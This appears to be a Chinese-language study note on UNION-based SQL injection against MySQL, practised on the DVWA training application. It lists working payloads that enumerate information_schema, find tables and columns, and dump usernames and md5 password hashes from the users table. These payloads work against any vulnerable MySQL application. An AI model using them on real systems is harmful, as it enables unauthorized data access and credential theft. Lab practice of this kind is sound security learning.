SQL注入——Mysql查询
Mysql默认在数据库中存放一个"information_schema"的数据库
-
查看所有库的所有表
'union select table_name,table_schema from information_schema.tables--+
这个过程可以结合hackbar工具
-
统计每个表中的数量
'union select table_schema,count(*) from information_schema.tables group by table_schema --+
-
查询DVWA中的表名
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查看到有一张User表,里面可能存放着用户名信息,可以选择深层查询
-
查询User表中的所有信息
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
其中有user和password列值得注意,接着对这两列进行查询
-
查询user表和password表中内容
法一:'union select user,password from dvwa.users--+
查询到了对应的账号以及密码(md5)
法二:
' union select user,password from users--+
查询效果和以上一样
法三:
' union select null, concat(user,0x3a,password) from users--+
第一个字段为Null,第二个字段为concat连接,通过0x3a连接,显示格式上会显得易读
这里显示出来的密码目测是md5加密,为了符合猜想,可用终端工具hash-identifier检测,剩余的工作为密码破解,后续笔记会进行介绍密码破解部分
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步